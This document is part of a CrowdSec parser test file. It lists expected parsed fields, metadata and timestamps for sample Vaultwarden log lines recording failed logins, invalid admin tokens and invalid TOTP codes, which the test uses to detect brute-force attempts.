results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"] == "2021-02-03T16:10:59.955Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["year"] == "2021" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["message"] == "[2021-02-03 16:11:02.266][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_ip"] == "192.0.2.130" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["time"] == "16:11:02.266" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["date"] == "2021-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["timestamp"] == "2021-02-03T16:11:02.266Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_ip"] == "192.0.2.130" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Enriched["MarshaledTime"] == "2021-02-03T16:11:02.266Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["message"] == "[2021-02-03 16:11:04.117][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["time"] == "16:11:04.117" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["year"] == "2021" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["date"] == "2021-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_ip"] == "192.0.2.130" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_ip"] == "192.0.2.130" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["timestamp"] == "2021-02-03T16:11:04.117Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Enriched["MarshaledTime"] == "2021-02-03T16:11:04.117Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["time"] == "16:11:57.620" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["year"] == "2021" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["message"] == "[2021-02-03 16:11:57.620][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["date"] == "2021-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["source_ip"] == "192.0.2.130" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["source_ip"] == "192.0.2.130" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["timestamp"] == "2021-02-03T16:11:57.62Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Enriched["MarshaledTime"] == "2021-02-03T16:11:57.62Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["time"] == "11:55:04.725" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["timestamp"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Enriched["MarshaledTime"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["time"] == "11:55:04.725" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["timestamp"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Enriched["MarshaledTime"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["time"] == "11:55:04.725" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["timestamp"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Enriched["MarshaledTime"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["time"] == "11:55:04.725" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["timestamp"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Enriched["MarshaledTime"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["time"] == "11:55:04.725" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["timestamp"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Enriched["MarshaledTime"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["time"] == "11:55:04.725" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["timestamp"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Enriched["MarshaledTime"] == "2022-02-05T11:55:04.725Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["server_date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["time"] == "12:01:51.892" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["server_tz"] == "UTC" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["server_time"] == "12:01:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["timestamp"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Enriched["MarshaledTime"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["server_date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["server_time"] == "12:01:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["server_tz"] == "UTC" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["time"] == "12:01:51.892" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["timestamp"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Enriched["MarshaledTime"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["server_date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["server_tz"] == "UTC" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["server_time"] == "12:01:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["time"] == "12:01:51.892" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["timestamp"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Enriched["MarshaledTime"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["time"] == "12:01:51.892" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["server_tz"] == "UTC" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["server_date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["server_time"] == "12:01:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["timestamp"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Enriched["MarshaledTime"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["server_tz"] == "UTC" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["server_date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["server_time"] == "12:01:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["time"] == "12:01:51.892" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["timestamp"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Enriched["MarshaledTime"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["day"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["server_date"] == "2022-02-05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["server_time"] == "12:01:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["server_tz"] == "UTC" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["time"] == "12:01:51.892" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["timestamp"] == "2022-02-05T12:01:51.892Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" 